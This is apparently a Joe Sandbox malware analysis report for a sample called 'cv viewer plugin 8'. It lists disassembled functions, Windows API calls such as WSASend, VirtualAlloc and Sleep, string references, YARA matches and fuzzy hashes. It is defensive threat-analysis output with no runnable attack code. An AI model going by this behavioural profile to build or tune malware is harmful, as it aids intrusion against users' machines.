Instruction ID: 4e347c03c9dc41fd3e8c3d03db7037d8c0716c72679d2a399e6816f1fee0981e
Opcode Fuzzy Hash: 1186724e94ae0d6ba1f3a30e22d5774110805ad6847e42cc873ea50e5e76b8f5
Instruction Fuzzy Hash: 6BD05E71A406185FD32066A5AC0EA78776CE706615F400255FDAAC15C8EA516920CBE7

Function 00402735 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(0040C2B8), ref: 0040D3AE

Strings

/chk, xrefs: 0040D3C8

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: LocalTime
String ID: /chk
API String ID: 481472006-3837807730
Opcode ID: 81fea34e64df1d5a819294562937da6b525a449c43d328daf9550e8eb28591a0
Instruction ID: 2f21ab3d2b15a7743f83e56fa66ae328da3fe409015aafe24f14fc44fa3165b0
Opcode Fuzzy Hash: 81fea34e64df1d5a819294562937da6b525a449c43d328daf9550e8eb28591a0
Instruction Fuzzy Hash: FBE0C231E48202FAC30037E08E0056835A2A640388321827FE496B41D0D77D584FB64F

Function 0040D250 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(0040C2B8), ref: 0040D3AE

Strings

/chk, xrefs: 0040D3C8

Memory Dump Source

Source File: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: LocalTime
String ID: /chk
API String ID: 481472006-3837807730
Opcode ID: 95781f5485952f264126ab4b316af5e3a5f75fb6c3906419faef0809740a7061
Instruction ID: 3684c8ff98119adf631e5acffbe66ce2e941c85b833f335e282929d562624734
Opcode Fuzzy Hash: 95781f5485952f264126ab4b316af5e3a5f75fb6c3906419faef0809740a7061
Instruction Fuzzy Hash: 7ED0C934D44203FAC6146BA08E4452975B16614349321423BE856B22E0C73D694EA65F

Function 016A4BED Relevance: 3.1, APIs: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A4BF2

Part of subcall function 016A1BA7: __EH_prolog.LIBCMT ref: 016A1BAC
Part of subcall function 016A1BA7: RtlEnterCriticalSection.NTDLL ref: 016A1BBC
Part of subcall function 016A1BA7: RtlLeaveCriticalSection.NTDLL ref: 016A1BEA
Part of subcall function 016A1BA7: RtlEnterCriticalSection.NTDLL ref: 016A1C13
Part of subcall function 016A1BA7: RtlLeaveCriticalSection.NTDLL ref: 016A1C56

Part of subcall function 016AE0F8: __EH_prolog.LIBCMT ref: 016AE0FD
Part of subcall function 016AE0F8: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 016AE17C

InterlockedExchange.KERNEL32(?,00000000), ref: 016A4CF2

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSection$H_prolog$EnterExchangeInterlockedLeave
String ID:
API String ID: 1927618982-0
Opcode ID: f74639ae4ee6f9b34263baa348ac7bf3f061103f152b8e3ad95a617ac359344d
Instruction ID: 18f435084eb1a0873a7792abe7cb0e6ca874798d1721414666780819faa117bd
Opcode Fuzzy Hash: f74639ae4ee6f9b34263baa348ac7bf3f061103f152b8e3ad95a617ac359344d
Instruction Fuzzy Hash: 37512571D042499FDB15DFA8C884AEEBFB9EF18310F54805EE906AB351DB709A44CFA4

Function 016A2D39 Relevance: 3.0, APIs: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 016A2D47
WSASend.WS2_32(?,?,?,?,00000000,00000000,00000000), ref: 016A2D5C

Part of subcall function 016AA509: WSAGetLastError.WS2_32(00000000,?,?,016A2A51), ref: 016AA517

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLast$Send
String ID:
API String ID: 1282938840-0
Opcode ID: 539240ef4136980dbd361a6917387236355c3e6b2e7af705b2eb3cbb0baef1fb
Instruction ID: 6ac8bb667577d77ad84c2ef4082f2dc259e2c56145805b6ad7841763a590ada3
Opcode Fuzzy Hash: 539240ef4136980dbd361a6917387236355c3e6b2e7af705b2eb3cbb0baef1fb
Instruction Fuzzy Hash: 490175B6500209AFD7206F988C9486BBAFDEB45264750452EF85993200DB719D508BA1

Function 016A83EA Relevance: 3.0, APIs: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 016A8407
shutdown.WS2_32(?,00000002), ref: 016A8410

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorLastshutdown
String ID:
API String ID: 1920494066-0
Opcode ID: 70ec5ef75e70a34190026504a3b5760ad2a675f06a79f01d4a3e86aad0ec9b97
Instruction ID: 67a4cd416da6e2a9e5abadba1e70a67a023180fd35cfde1d76ae402a9af14f34
Opcode Fuzzy Hash: 70ec5ef75e70a34190026504a3b5760ad2a675f06a79f01d4a3e86aad0ec9b97
Instruction Fuzzy Hash: 9FF06D716053158FC720AF58DC14A6AB7E9FF18321F41881DE99597381D775AC008FA5

Function 00403FF4 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00402F0F,00000000), ref: 00404005

Part of subcall function 00403EAC: GetVersionExA.KERNEL32 ref: 00403ECB

HeapDestroy.KERNEL32 ref: 00404044

Part of subcall function 004043CB: HeapAlloc.KERNEL32(00000000,00000140,0040402D,000003F8), ref: 004043D8

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: 785e23c1ed37029bd7fa1e4a136f418f238003ec06b3befa2c01f286c825b2ce
Instruction ID: b1684c5e0161eeb02f30399066ba6d75b4260e35b9d13e26dc8fbe5d47634710
Opcode Fuzzy Hash: 785e23c1ed37029bd7fa1e4a136f418f238003ec06b3befa2c01f286c825b2ce
Instruction Fuzzy Hash: F5F092F0656301DAEB301B75AE46B3A39949BC0796F20443BF740F91E1EF7C8481960D

Function 016A5119 Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A511E

Part of subcall function 016A3D7E: htons.WS2_32(?), ref: 016A3DA2
Part of subcall function 016A3D7E: htonl.WS2_32(00000000), ref: 016A3DB9
Part of subcall function 016A3D7E: htonl.WS2_32(00000000), ref: 016A3DC0

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: htonl$H_prologhtons
String ID:
API String ID: 4039807196-0
Opcode ID: db305c0a45f076f7de5a693c61f00ef239de0008dfb59fff8d59d02cf51d2800
Instruction ID: d88a0e9a7a1efaabbca821dabf133c7a3d1dc543cb13bfff0943f1146b75bc8d
Opcode Fuzzy Hash: db305c0a45f076f7de5a693c61f00ef239de0008dfb59fff8d59d02cf51d2800
Instruction Fuzzy Hash: 31814975D0424E8ECF05DFA8D8809EEBBB5EF58210F50819ED852B7240EB759E09CFA5

Function 016DF87F Relevance: 1.6, APIs: 1, Instructions: 134fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 016DF89E

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016DA000.00000040.00001000.00020000.00000000.sdmp, Offset: 016DA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16da000_cv viewer plugin 8.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 345633fe2eb2702e53b14e9ba4bdf8ae01d41b0f9c3389d1a6cecf9513a0e11c
Instruction ID: 72b5ab7239fc00d4c14bdcb5d9aaf31e99c24d336c1d524b6c57fa13af0619f5
Opcode Fuzzy Hash: 345633fe2eb2702e53b14e9ba4bdf8ae01d41b0f9c3389d1a6cecf9513a0e11c
Instruction Fuzzy Hash: 65417FF260D704AFD3156F29DC85B7EFBE4EF95320F06492EE6C583680E63518408B56

Function 016A44AB Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A44B0

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: a6a77ea6c121a3830812591c55f570a7b2cc8de48b947cc0e2bcf9295a80807e
Instruction ID: 9185ac44dfd6576d83aaa68aaa88448a21be175da1307869f8c776b582c0ec55
Opcode Fuzzy Hash: a6a77ea6c121a3830812591c55f570a7b2cc8de48b947cc0e2bcf9295a80807e
Instruction Fuzzy Hash: B6412671A0120AAFCF04DF99CC90EEEBBB9FF98214F44416EE545A7240DB749A45CFA4

Function 016AE9C1 Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016AE9C6

Part of subcall function 016A1A01: TlsGetValue.KERNEL32 ref: 016A1A0A

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prologValue
String ID:
API String ID: 3700342317-0
Opcode ID: b7b3f8899221b19375714f05ea8f1076b4bc9a9630b7db0da9f0dd2e124b7444
Instruction ID: eeaeaa5173559deaec3ff2ea5f0bcea866bd3957a3146143ef3dd7ea87147770
Opcode Fuzzy Hash: b7b3f8899221b19375714f05ea8f1076b4bc9a9630b7db0da9f0dd2e124b7444
Instruction Fuzzy Hash: 7E213BB190420AAFDB00DFA9D950AEEBBF9FB59310F14411EE919A3240D771AD01CFA5

Function 016A33B2 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

InterlockedCompareExchange.KERNEL32(?,00000000,00000000), ref: 016A33CC

Part of subcall function 016A32AB: __EH_prolog.LIBCMT ref: 016A32B0
Part of subcall function 016A32AB: RtlEnterCriticalSection.NTDLL(?), ref: 016A32C3
Part of subcall function 016A32AB: RtlLeaveCriticalSection.NTDLL(?), ref: 016A32EF

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompareEnterExchangeH_prologInterlockedLeave
String ID:
API String ID: 1518410164-0
Opcode ID: 29d84ac17828fb2ec3fbffcb819de7f2b6e8491378b054067f06eb363155ca19
Instruction ID: 9f343610076bf7e8d679d004b8bd0aabd07a74d395816fbe15cfebffdb841483
Opcode Fuzzy Hash: 29d84ac17828fb2ec3fbffcb819de7f2b6e8491378b054067f06eb363155ca19
Instruction Fuzzy Hash: A4016D70215606AFD7048F59DC85A65BBA9FF45320B60831EE928873C0EB30EC21CFA4

Function 016E2599 Relevance: 1.5, APIs: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 0172BAF4

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016DA000.00000040.00001000.00020000.00000000.sdmp, Offset: 016DA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16da000_cv viewer plugin 8.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: c870565fa74e86d18af65b579907c34f943609240586d018aac12c250ea55e6c
Instruction ID: 9dae74baa5523fe783e64eee29d8919ba21daa0c90fa9b38e8e25ef7a7418407
Opcode Fuzzy Hash: c870565fa74e86d18af65b579907c34f943609240586d018aac12c250ea55e6c
Instruction Fuzzy Hash: FC0102F2608A109BD3107F0AD88567AFBF4EF84720F06082DE6C887A50E6354484CB97

Function 016ADC91 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 016AD3C4: __EH_prolog.LIBCMT ref: 016AD3C9

__CxxThrowException@8.LIBCMT ref: 016ADCAE

Part of subcall function 016B455A: RaiseException.KERNEL32(?,?,016AFB5F,?,?,?,?,?,?,?,016AFB5F,?,016D0FA8,?), ref: 016B45AF

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ExceptionException@8H_prologRaiseThrow
String ID:
API String ID: 1681477883-0
Opcode ID: 1377b7e7e419b85d79bc84c810e583a8ce1fb70d1ed667b5ae4691848f5279da
Instruction ID: b4d68ff79a330bb3d9f3a8065ba034bb3c582c744defaf77427c558f8c5f449b
Opcode Fuzzy Hash: 1377b7e7e419b85d79bc84c810e583a8ce1fb70d1ed667b5ae4691848f5279da
Instruction Fuzzy Hash: ABF0C2719102096FD718ABEDCC45CEB73EDEB08214B40055DF60793600EAA1F8048BA5

Function 016AE551 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016AE556

Part of subcall function 016A26DB: RtlEnterCriticalSection.NTDLL(?), ref: 016A2706
Part of subcall function 016A26DB: CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 016A272B
Part of subcall function 016A26DB: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,016C5B53), ref: 016A2738
Part of subcall function 016A26DB: SetWaitableTimer.KERNELBASE(?,?,000493E0,00000000,00000000,00000000), ref: 016A2778
Part of subcall function 016A26DB: RtlLeaveCriticalSection.NTDLL(?), ref: 016A27D9

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSectionTimerWaitable$CreateEnterErrorH_prologLastLeave
String ID:
API String ID: 4293676635-0
Opcode ID: fd87b1198cce50f6f5c9b44de2b56510c5713c64fa729c302e09123c4edad43d
Instruction ID: 86439b6576e879bcd08aa4577aa2e4ecca66b1f823c098302de15ed8cdb14836
Opcode Fuzzy Hash: fd87b1198cce50f6f5c9b44de2b56510c5713c64fa729c302e09123c4edad43d
Instruction Fuzzy Hash: 52019EB1901B149FC718CF5AC940966FBE5EF88610B15C6AE94498B721E771AA40CF94

Function 0040286F Relevance: 1.5, APIs: 1, Instructions: 32libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNELBASE ref: 0040287F

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d13eb9cb13540e1e847e8eef21160c3bec02b9ffeb60afac02ed4b80adb5d1d8
Instruction ID: ebd0d10bb02d034d75afe87da7d4fa486092849ccf3fbf152faa1252f0ef59d6
Opcode Fuzzy Hash: d13eb9cb13540e1e847e8eef21160c3bec02b9ffeb60afac02ed4b80adb5d1d8
Instruction Fuzzy Hash: 44F05E71A043448FDB00DFB8D8D06D53BF4BB06620B5545A6EC64E7295D374C94A8A65

Function 016AE330 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016AE335

Part of subcall function 016B3B4C: _malloc.LIBCMT ref: 016B3B64

Part of subcall function 016AE551: __EH_prolog.LIBCMT ref: 016AE556

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: 2ac50a534d940fec190d2f7a24c671f2c55a962e82cde7fb150b5e3da93b8ccf
Instruction ID: 977ab259d63678e28e232a24b468de3f0eaacf0ed92f00978716102e8d29b4b7
Opcode Fuzzy Hash: 2ac50a534d940fec190d2f7a24c671f2c55a962e82cde7fb150b5e3da93b8ccf
Instruction Fuzzy Hash: 66E08CB1A00106ABDB089F68DC0077EBBA2EB14B00F0042ADB80A92340EB7199008A28

Function 016B3452 Relevance: 1.5, APIs: 1, Instructions: 19COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 016B5C5A: __getptd_noexit.LIBCMT ref: 016B5C5B
Part of subcall function 016B5C5A: __amsg_exit.LIBCMT ref: 016B5C68

Part of subcall function 016B3493: __getptd_noexit.LIBCMT ref: 016B3497
Part of subcall function 016B3493: __freeptd.LIBCMT ref: 016B34B1
Part of subcall function 016B3493: RtlExitUserThread.NTDLL(?,00000000,?,016B3473,00000000), ref: 016B34BA

__XcptFilter.LIBCMT ref: 016B347F

Part of subcall function 016B8D94: __getptd_noexit.LIBCMT ref: 016B8D98

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: __getptd_noexit$ExitFilterThreadUserXcpt__amsg_exit__freeptd
String ID:
API String ID: 1405322794-0
Opcode ID: 2df02558b07a9f52fdc7659dc843cc2c4b090293944409c17459f5c2150b368e
Instruction ID: 94641094ef81857f399bc9be333783fb3426189968d327a3765abd384330d28d
Opcode Fuzzy Hash: 2df02558b07a9f52fdc7659dc843cc2c4b090293944409c17459f5c2150b368e
Instruction Fuzzy Hash: 68E0ECB5A016029FDB08EBE1DD89EAD776AAF55201F20014DE1029B261CB78A9809B24

Function 016B2160 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 016B1610: OpenEventA.KERNEL32(00100002,00000000,00000000,DA1F4857), ref: 016B16B0
Part of subcall function 016B1610: CloseHandle.KERNEL32(00000000), ref: 016B16C5
Part of subcall function 016B1610: ResetEvent.KERNEL32(00000000,DA1F4857), ref: 016B16CF
Part of subcall function 016B1610: CloseHandle.KERNEL32(00000000,DA1F4857), ref: 016B1704

TlsSetValue.KERNEL32(00000029,?), ref: 016B21AA

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$OpenResetValue
String ID:
API String ID: 1556185888-0
Opcode ID: eaa2417a4923d3a70f1d7283583a52d55fff6b03c3877ae5aeba35f115025467
Instruction ID: 741b0b8be2dcfb491352c166a8477c4cba173c4c77e74c87a6dfbe5a8ae43f66
Opcode Fuzzy Hash: eaa2417a4923d3a70f1d7283583a52d55fff6b03c3877ae5aeba35f115025467
Instruction Fuzzy Hash: 8D018FB5A00204AFC720CF5AEC45B9ABBA8FB09660F10462EF825D3380D7316910CBA5

Function 0040212F Relevance: 1.3, APIs: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,0040909C), ref: 0040D6D1

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 550ca5e8760dc3f2ecab85525b79827c5fd9d3b9d234291476c1ddb6f3ae41e1
Instruction ID: 5d8bad613ceaf0eb8ff6cfe18aa91962f519422e778415206d31264555270ba6
Opcode Fuzzy Hash: 550ca5e8760dc3f2ecab85525b79827c5fd9d3b9d234291476c1ddb6f3ae41e1
Instruction Fuzzy Hash: 07E02B31945604FBD7101A648C05F517B26AB84755F124331FE1D371D1C7786C2A969A

Function 0040D5A8 Relevance: 1.3, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,0040909C), ref: 0040D6D1

Memory Dump Source

Source File: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 691b312047ca6c280f993980f6f3b505f7d7f3a3bd3da08424b5215a69a52de9
Instruction ID: 05e88d9dbfae65098e0e7a07f6b25079b155f6813d2052da05805f44e4370fcf
Opcode Fuzzy Hash: 691b312047ca6c280f993980f6f3b505f7d7f3a3bd3da08424b5215a69a52de9
Instruction Fuzzy Hash: E9E06831949700EFD7000F608C10B90BB72AF44360F070322E91D3B1D2C3782C2A9B05

Function 004022AB Relevance: 1.3, APIs: 1, Instructions: 11sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000003E8), ref: 004022B6

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2a1f0ebb6a8bb7ff01fc6bddb88a9b6588bb5e47706fbf076fb93800423b80e2
Instruction ID: 95d59ba1a353b8b0930a5635e85a18935a862e96ed8482421881c3e33da25bbd
Opcode Fuzzy Hash: 2a1f0ebb6a8bb7ff01fc6bddb88a9b6588bb5e47706fbf076fb93800423b80e2
Instruction Fuzzy Hash: C0C08C30945600FBD2025F94CE08F7C7728BF08300F210036B20AB90D0CBB86A0BA76E

Function 0040D6CB Relevance: 1.3, APIs: 1, Instructions: 8memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040,0040909C), ref: 0040D6D1

Memory Dump Source

Source File: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2c56cf54f504ebf5c55dad4f3a631a81fc7fff3296d38a31c00063f97d477698
Instruction ID: 9dc2575647716a050a205b35a816bc804047933f7207a33aca4f8a7fc5551071
Opcode Fuzzy Hash: 2c56cf54f504ebf5c55dad4f3a631a81fc7fff3296d38a31c00063f97d477698
Instruction Fuzzy Hash: F7C04C2180D681AFC31617B05B38450BF307A0625831A86A6D44AA54928739495FE75A

Function 00402765 Relevance: 1.3, APIs: 1, Instructions: 8sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE ref: 00402765

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: a3b3cfab0810625a53ece333970bec8ee003110a8e510299c27105383bf176dc
Instruction ID: e46333d11de712cc79b33e700053c1f071bda6255ef7a49011afa96c8f2a9f8e
Opcode Fuzzy Hash: a3b3cfab0810625a53ece333970bec8ee003110a8e510299c27105383bf176dc
Instruction Fuzzy Hash: 2BB09231D0A501EAD2112BF06E04B243B246709744F24483BAA0BB10E8DA7A440F6A2F

Non-executed Functions

Function 00406C47 Relevance: 26.7, Strings: 21, Instructions: 417COMMON

Download Yara Rule

Strings

+, xrefs: 00406D19
9, xrefs: 00406CB6
9, xrefs: 00406E94
9, xrefs: 00406D5C
0, xrefs: 00406D23
9, xrefs: 00406EC8
+, xrefs: 00406E3C
0, xrefs: 00406EE6
C, xrefs: 00406D28
0, xrefs: 00406DE8
0, xrefs: 00406EB5
-, xrefs: 00406D1E
-, xrefs: 00406E45
1, xrefs: 00406EBF
9, xrefs: 00406D08
c, xrefs: 00406D36
0, xrefs: 00406D71
E, xrefs: 00406D31
e, xrefs: 00406D3F
1, xrefs: 00406E8C
9, xrefs: 00406ED8

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID:
String ID: +$+$-$-$0$0$0$0$0$1$1$9$9$9$9$9$9$C$E$c$e
API String ID: 0-1157002505
Opcode ID: 2264ed1eeb04cd628dd7ecbe5a7ea4b96a7455e1980619db826b3964a44db27c
Instruction ID: ae37707e7a9e20bf572dd68ae991a4076710a32e704508819d40079b4272058c
Opcode Fuzzy Hash: 2264ed1eeb04cd628dd7ecbe5a7ea4b96a7455e1980619db826b3964a44db27c
Instruction Fuzzy Hash: 36E1E230E5920A8EEB24CF54D9057BE7BB5EB44304F29403BE442B62C1C77D99A2DB5E

Function 016B0978 Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,00000010,00000000), ref: 016B09A2
GetLastError.KERNEL32(?,00000400,?,00000010,00000000), ref: 016B09AA

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: dd03867116efb9cd43d4c093e92a77269bfb8257ad90c17feacd3712422c3611
Instruction ID: b997feabe9713c13566f6c3555f241acba2ad60f8ef6a05f270eec6075fd7989
Opcode Fuzzy Hash: dd03867116efb9cd43d4c093e92a77269bfb8257ad90c17feacd3712422c3611
Instruction Fuzzy Hash: 25F09030208341CFEB15CA28CC91B6FBBF4AB8C744F50492CF59692291E370D5858B17

Function 016B9528 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,016B4E96,?,?,?,00000000), ref: 016B952D
UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 016B9536

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0a9b106d737e5955f7e3a9ba4cde3461b5735560fcf7edefc6a8cf2c74922c83
